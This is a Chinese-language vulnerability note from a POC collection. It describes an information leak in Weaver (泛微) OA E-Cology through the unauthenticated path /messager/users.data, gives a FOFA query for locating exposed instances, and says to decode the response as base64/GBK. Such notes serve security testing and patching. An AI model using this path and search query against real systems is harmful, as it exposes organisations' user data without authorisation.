Awesome-POC/OA产品漏洞/泛微OA E-Cology users.data 敏感信息泄漏.md

33 lines
450 B
Markdown
Raw Normal View History

2022-05-20 15:57:09 +08:00
# 泛微OA E-Cology users.data 敏感信息泄漏
## 漏洞描述
泛微OA E-Cology users.data 允许任意用户下载获取OA中的敏感信息
## 漏洞影响
```
泛微OA E-Cology
```
## FOFA
```
app="泛微-协同商务系统"
```
## 漏洞复现
登录页面
2022-12-05 11:09:28 +08:00
![image-20220520134158756](./images/202205201341810.png)
2022-05-20 15:57:09 +08:00
验证POC
```
/messager/users.data
```
2022-12-05 11:09:28 +08:00
![image-20220520134209598](./images/202205201342693.png)
2022-05-20 15:57:09 +08:00
base64 GBK解码